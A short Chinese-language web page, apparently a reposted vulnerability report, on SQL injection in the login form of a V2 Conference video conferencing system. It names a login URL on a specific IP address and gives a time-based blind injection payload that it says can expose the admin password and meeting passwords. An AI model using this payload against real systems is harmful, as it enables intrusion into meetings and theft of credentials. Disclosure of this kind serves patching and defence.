|
|
|
綠盟視頻會議系統SQL注入
發布時間：2015-12-01 點擊率：次 來源：m.memoryoverflow.cn 作者：電腦技術學習網
通過注入能夠拿到管理賬戶密碼，然后登錄后臺查看會議密碼，通過會議密碼能夠進入到遠程會議中，惡意攻擊者能夠竊取某些敏感信息。
http://211.151.49.196:18080/V2Conf/jsp/user/loginAction.do
其實是V2 Conference視頻會議系統較低版本的SQL注入，注入發生在登錄時用戶名的輸入框內，使用以下注入語句可測試：
1 or (select benchmark(300000,md5(user())) from users where substring(username,1,5)=admin)#
修復方案：
升級補丁
來源 電腦技術網 m.memoryoverflow.cn
發表留言
|
|
發表留言請先登錄！
|
免責聲明：本站發布的信息和評論純屬網民個人行為，并不代表本站立場，如發現有違法信息或侵權行為，請直接與本站管理員聯系，我們將在收到您的信息后24小時內作出處理！
Copyright © 十堰電腦維修 All Rights Reserved 鄂ICP備12000326號-1
電子郵箱：956066850@qq.com